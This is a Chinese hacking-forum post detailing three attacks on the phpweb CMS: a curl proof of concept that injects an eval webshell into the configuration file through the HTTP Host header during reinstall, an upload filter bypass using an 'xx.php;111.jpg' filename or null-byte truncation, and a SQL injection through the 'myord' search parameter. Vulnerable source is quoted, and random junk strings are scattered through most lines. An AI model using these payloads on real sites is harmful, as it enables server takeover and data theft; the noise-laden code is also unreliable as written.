找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2267|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:
' l0 _( p/ v, F- b
2 L- |& h1 V+ O/ H& v$ Y0 _之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
% W% W: o3 ?" j; t: z4 y% \5 v
' _1 }2 B( i* q; s4 i* O; E鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! s" |7 ^: N, b9 i' b
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
, }$ d5 W7 k# W: |0 X6 A8 J 9 ?4 e( {/ B. x0 z5 |6 Y
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
/ `) [/ K! m; q* n" i" {- s
3 {6 _* H) V9 `分析:  |% P! K- U# i6 U$ d" t# _  ]
4 v  s7 a+ \( v) X! @) [4 l7 B

9 A4 Q2 [/ R( _$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤, F8 i% r+ e7 f. C: N' i3 I
! l/ V% V7 X5 a
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);1 G* I- O+ W1 j' v
                                            $filestr=str_replace(" ","",$filestr);
4 ~& A  S' ?4 c; ?. S; {                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, l& ?/ [! E- F" x# ?
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
; h" Q9 N# C- o5 i                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, ?8 W3 H+ o- O                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);1 d* {# p( \# I0 h
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
$ o* h9 {( @7 P! M9 B                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
; m! ~8 p' U6 h% A9 m# b                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);7 h; f& X4 ]+ h- ^* m# n; c  i* I, X

7 G8 S0 k  X' K" J8 Z! ?& ?( Q% K                                            fwrite(fopen($ConFile,"w"),$filestr,30000);" w) ?. B  r7 D  Q0 c. i
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^$ o6 D3 `# G- }
. @" t* H9 R- }( f3 W6 l7 Q
poc:! X7 G8 Y3 d( _6 `% @

  m/ P% ~% Z' R6 I6 P, C3 i' ?- Y9 V?
3 m/ V- r% V6 E5 I8 x* |2 T$ {1
, y2 T" }- G8 f6 i# W+ ^curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"* M; U: l( b; k% x: Z
shell地址: /config.inc.php
" d  Q& a2 B: K9 }" j5 K$ v跟之前的 phpcms一样 需要远程数据库6 P" ^, j# y4 z% y
9 ]$ }1 y# h* d6 a% f" f& r; C
——————————————————–
" D- O7 h3 S5 `& l6 J上传漏洞(需要进后台):/ X# @; x; W  r- R
漏洞文件: /kedit/upload_cgi/upload.php
" T) J8 E* ~* ?8 e0 Q. w这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ @( i0 q, x6 ^
# d& v7 ^4 s% b  H
6 j7 [0 ^" g: P$ e% L: q  _5 W<?php
, e/ u& j2 D8 _) Q! K$ ~5 t    define("ROOTPATH", "../../");
" s$ E6 j, @, h+ G2 p    include(ROOTPATH."includes/admin.inc.php");
4 f4 n% Y. F: M, `/ ~9 d    NeedAuth(0);. X$ s# R% s8 k5 F
$ }2 q* n) Y; f* C6 c8 W/ W
    $dt=date("Ymd",time());( |- a; U: L7 z' V) J# J, n
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ T" [2 z/ O( R( K# z! F            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);# Y/ r9 {( I) \; N
    }" J7 G  d: a8 y4 ~# }5 E$ V3 D
9 ^, a" f3 I* v( D: y' M4 ^
    //文件保存目录路径
6 a7 K7 V# t: z  l% G9 z! K3 H    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- b; S/ V" r" E) a, B    echo $save_path;
6 ^( k/ r/ U7 \4 a    //文件保存目录URL! x9 E, d& U+ K* `( l0 o
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
+ p% E7 W; a, v# b $ i# y) l' s  k3 E9 G
    //定义允许上传的文件扩展名  f) I- f' V8 l9 o9 P1 G$ w. q
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀7 v0 B/ J6 L* u- F0 d5 }
5 }& {; ]8 O3 X( r
    //最大文件大小
: g- {$ k# U! x+ {! F/ k9 _    $max_size = 1000000;  o: U# v+ P9 x; E
. F3 P* F& j7 i
    //更改目录权限
: J; z+ G7 l% _4 P+ k  ^    @mkdir($save_path, 0777);. R' y5 [5 s+ G" w' y! [: ?

' P$ D% O: W2 l# [. Q: X! v    //文件的全部路径
0 p/ O# R2 K9 i& B6 P/ {! U- V    $file_path = $save_path.$_POST['fileName'];   //保存文件名  H) R, Z: G1 s7 P- _3 A
5 X- B' s$ s. l( d! o* U% l
    //文件URL
& Y, x5 w* c4 R& y0 C6 P; Y! B# p1 j    $file_url = $save_url.$_POST['fileName'];
1 A4 h$ m# y7 Q. v# L# r6 j//有上传文件时+ c: I& ~( j" S; P
    if (empty($_FILES) === false) {
* W, s, L7 d$ N! k# H8 Z 7 u+ `5 f: @& v  X0 \
            //原文件名) ~; U$ f8 R9 l4 w, `8 A6 o
            $file_name = $_FILES['fileData']['name'];/ D' y4 d2 X# u0 S1 Q0 z) N. ?$ _
            //服务器上临时文件名
0 A, d1 |& C: n6 ~# S% Q, r            $tmp_name = $_FILES['fileData']['tmp_name'];
! Y. m( J# T5 g+ Y3 M            //文件大小. {3 r) X3 o  ^9 }4 e* ?3 Y
            $file_size = $_FILES['fileData']['size'];' G9 g% f& S) ~+ r8 Y" A6 f( m
            //检查目录, d7 }6 \. [( Y; p+ Z* N5 j/ w) M
            if (@is_dir($save_path) === false) {; D" M; ^1 F+ |  ~- _/ r% U" E
                    alert("上传目录不存在。");
+ E  F; @+ v# g" M3 ^            }1 b. O: S9 m) {7 W7 ^
            //检查目录写权限
% M+ r2 H, v4 ]3 w) o            if (@is_writable($save_path) === false) {
4 S9 R( c: M) T* l                    alert("上传目录没有写权限。");' ~' s1 f8 c! U; {/ \, r
            }
" R5 w& y! k! A9 T            //检查是否已上传- H% G4 t; e4 R1 W( v5 G* j
            if (@is_uploaded_file($tmp_name) === false) {5 R7 {& M* F# c1 C* X) T& T' ]5 Y
                    alert("临时文件可能不是上传文件。");9 h) T5 s! N4 w8 L
            }% t- `4 A* C6 t9 [% n4 Z
            //检查文件大小) m4 y& `1 ~! W
            if ($file_size > $max_size) {
8 @1 t- {3 d5 m0 y# z' p                    alert("上传文件大小超过限制。");
8 O6 P" q+ ^9 D            }
' i/ z* Z, b8 X            //获得文件扩展名
5 W, ~: P1 Z/ {( U7 d* {            $temp_arr = explode(".", $_POST['fileName']);$ M4 v$ x4 y7 `  i+ W! P! n  {# E
            $file_ext = array_pop($temp_arr);6 T4 ?4 ^9 z5 @
            $file_ext = trim($file_ext);( i( x8 p2 t) W
            $file_ext = strtolower($file_ext);9 c" o% L' Z1 G1 T' v9 D
. X  ]% T3 N# y
            //检查扩展名   ' |- C- S. E% \! {4 ^/ P
            if (in_array($file_ext, $ext_arr) === false) {     ) a* e. k7 Z+ n/ @) H! [: k& f
                    alert("上传文件扩展名是不允许的扩展名。");
& S0 }* J9 H! G4 D" Q# `            }9 _' x  d0 P! q- c% \8 f: L
( v$ e! }! A6 a' ^
            //移动文件   ( F+ n  [* E3 o- T' V+ F
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^3 H9 g( k, o9 o3 x
            if (move_uploaded_file($tmp_name, $file_path) === false) {" ^; C( i; @$ n; P
                    alert("上传文件失败。");
: t) R2 ]* {7 |7 ~( H8 }            }# R$ B8 q, n$ r" w& k- K
! d3 c- W- u8 P
            @chmod($file_path,0666);
) w* m4 A9 T$ o
) I0 ^% F% x) x5 k4 ~2 [    ?>* l9 \  K) W0 K; S& l' S/ \, R
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
9 `8 }9 c; g7 I- } 0 T/ M+ u, W* n+ E; F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过. Z' R! j- l; c  {
2 z9 O  }( e$ ]! b+ K* k
——————————————————7 O- v0 b8 p3 Q% S
注入漏洞:
8 L. m" c) D  x3 f( O6 d漏洞文件:search/module/search.php8 ^# p7 h, W* L- k
/search/index.php?key=1&myord=1 [sqlinjection]
% R. g2 V! |! t# d8 C& K* A: K8 M 6 |: [. `' G, X

6 U9 O6 O  I/ n: [' p' \<?php1 f- \! R$ R3 [3 Y* e1 |) u, j0 J4 V
   //       ... 省略 n 行...
/ F6 ^0 r0 W# G9 T. O; ~   //第18行:
, ~; R$ L) {/ M           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
! S" U) D9 Q# O! u: R           $page=htmlspecialchars($_GET["page"]);
2 n9 p3 b6 |2 f; m' C! |& b2 ~           $myord=htmlspecialchars($_GET["myord"]);2 d! C% `8 n- ~$ b; q$ w, V

" H9 c, N& n) f" _5 [   //       ... 省略 n 行...
; Z1 H# z$ n3 M; ?% d% S   $key,$myord 两个参数带入查询$ u7 f; q# v/ {
   //第47行 $key:
; Q7 W4 p3 y8 y, @ / r0 d3 @/ A. c6 c0 e( ^
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过../ i( B) z1 H4 Y. ]+ ]! g
$ u& R# Y4 ~1 e4 J$ a1 x5 J
   //第197行 $myord2 B  d- s9 f. s' z; j$ M. o
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
% ^3 b3 T  W* y' `5 j) o" X
6 A! d' y( `; f" L2 A   ?>: r( E4 F. ?6 r" q: K" A4 O2 {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表